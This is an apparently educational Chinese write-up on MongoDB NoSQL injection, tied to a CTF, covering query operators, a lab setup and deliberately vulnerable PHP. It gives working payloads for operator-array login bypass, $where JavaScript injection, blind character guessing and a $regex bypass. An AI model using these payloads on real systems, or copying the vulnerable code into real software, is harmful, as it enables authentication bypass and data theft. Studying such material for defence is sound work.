NoSQL注入总结(MongoDB)
NoSQL注入总结(MongoDB)
遇到好几次Nosql注入的问题了,这次在BSidesTLV2018赛题环境中也遇到了一道Nosql注入的题,就趁着这一次总结一下。
NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。 然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式SQL语言中执行,所以潜在影响要大于传统SQL注入。
这上面是owasp对于NoSQL注入的描述,NoSQL注入由于NoSQL本身的特性和普通的SQL注入有所区别,本篇文章以MongoDB为例,总结一下NoSQL的注入方法。
MongoDB查询语法
着这里简单总结一下MongoDB查询语法,
命令行
db.collection.find(query, projection)
//query 可选,使用查询操作符指定查询条件
//可选,使用投影操作符指定返回的键。查询时返回文档中所有键值, 只需省略该参数即可(默认省略)
举例:
//查找username为JrXnm的信息
db.user.find({'username':'JrXnm'})
mongodb条件操作符
比较:
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
//查找用户名不为admin且password为123456的用户
db.user.find({'username': {$ne:'admin'}, 'password': '123456'})
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
条件:
$in : in
$nin: not in
$all: all
$or:or
$and: and
$not: 反匹配(1.3.3及以上版本)
$exist:
//如果记录中有包含该属性的全部返回
db.collection.find({title:{$exists:true}});
//查找用户名为在这个数组中的用户信息
db.user.find({'username': {$in: ['admin', 'JrXnm']}})
正则:
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
正则的另一种写法:db.user.find({'username':/jrx/i})
php 操作Mongodb
php 操作Mongodb与命令行操作差不多,以下只是简单介绍
// connect to mongodb
$m = new MongoClient();
// select a database
$db = $m->test;
// select collection
$collection = $db->users;
$cursor = $collection->find($data);
$cursor = $collection->findone($data);
搭建靶场
在查找资料中,发现了不少人都用了这个NoSQLInjectionAttackDemo github项目,可以很清楚的看到输入和注入语句的拼接,所以我也用这个测试。
搭建好php5.6、apache2.4环境后,安装mongodb以及mongo之于php的扩展。值得注意的是, 本次试验使用的是mongo.so扩展,还有一种mongodb.so扩展php适用语法不同,但注入原理是同样的
MongoDB注入分类
我在网上搜集到了两种分类方法。
第一种是按照语言的分类:php数组注入、js注入、mongo shell拼接注入。
第二种是按照攻击机制分类:永真式、联合查询、Js注入、盲注等。
注:很多NoSQL数据库允许执行数据内容中JavaScript,JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。
注入尝试
php永真式注入
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
$cursor = $collection->find($data);
这是通常php查询的方法,以数组的方式插入,没有字符串的拼接似乎我们没有办法注入。
但是由于php松散结构的特性,如果我们_GET传入的是数组那么,会自动被解析成字典。比如我们输入?username[$ne]=1&password[$ne]=1
, 就会被解析成:
{
'username': {
'$ne': '1'
},
'password': {
'$ne': '1'
}
}
相当于查询username不等于1且password不等于1的用户,可以的话会返回所有用户信息。

Js注入($where 注入)
NoSQL经常需要JavaScript来处理一些事务等问题,也允许在查询的时候执行Js,如果此时有字符串拼接可以注入Js,那相当于可以直接在Mongo shell里执行代码了。
关键代码:
$collection = $db->users;
$query_body ="
function q() {
var username = '".$_REQUEST["username"]."';
var password = '".$_REQUEST["password"]."';if(username == 'secret_user'&&password == 'secret_password') return true; else{ return false;}}
";
$result = $collection->find(array('$where'=>$query_body));
$count = $result->count();
if($count>0){
echo $doc_succeed->saveHTML();
}
$where
操作符表示执行其中的Js内容,返回True的话返回所有内容。
我们可以看到我们可以注入使得Js代码提前返回True
payload:?username=qwer&password= 1';return true;var qwer='1

盲注
大多数注入的情况下是无法回显的,在这里我们也介绍一下Mongodb的盲注
$m = new MongoClient();
// echo "Connection to database successfully";
$news = $_REQUEST['news'];
// select a database
$db = $m->test;
// echo "Database mydb selected";
$collection = $db->user;
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}
?>
this.news代表的查找Mongo数据库中test集合中的news,所以这里的js意味着查找是否有用户输入的news。
这意味着我们必须输入数据库集合中其中一个news的值才能返回'该新闻存在'。
我们可以使用如下payload:
?news=123' || '1'== '1
使得query语句变成function() {if(this.news == '123' || '1'== '1') return true}
。

但是如果我们需要知道news的内容的话,我们还可以这样:
?news=123' || this.news[0] == 'A
来一个个的猜解,进行盲注。更多玩法就参照Js的语法啦。
Shell注入
php可以用函数直接执行mongo shell命令,如果存在这种操作,并且可以注入的话,会产生更大的危害。注入方法还是由于字符串不正当的拼接导致的,原理很相似这里就不介绍啦。
Example
<?php
error_reporting(0);
if(isset($_POST["username"]) && isset($_POST["password"])){
if(login($_POST["username"],$_POST["password"])){
die("Good, can you find out my password?");
}
die("username or password error!");
}
else{
highlight_file(__FILE__);
}
function login($u,$p){
$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$q = '{"username": "'.$u.'", "password": "'.$p.'"}';
$query = new MongoDB\Driver\Query(json_decode($q));
$cursor = $manager->executeQuery('babyDB.user', $query);
$data = [];
foreach($cursor as $doc) {
$data[] = $doc;
}
if (isset($data) && isset($data[0]->password)) {
return true;
}
return false;
}
?>
username=1&password=","password":{"$regex": ""},"username":"admin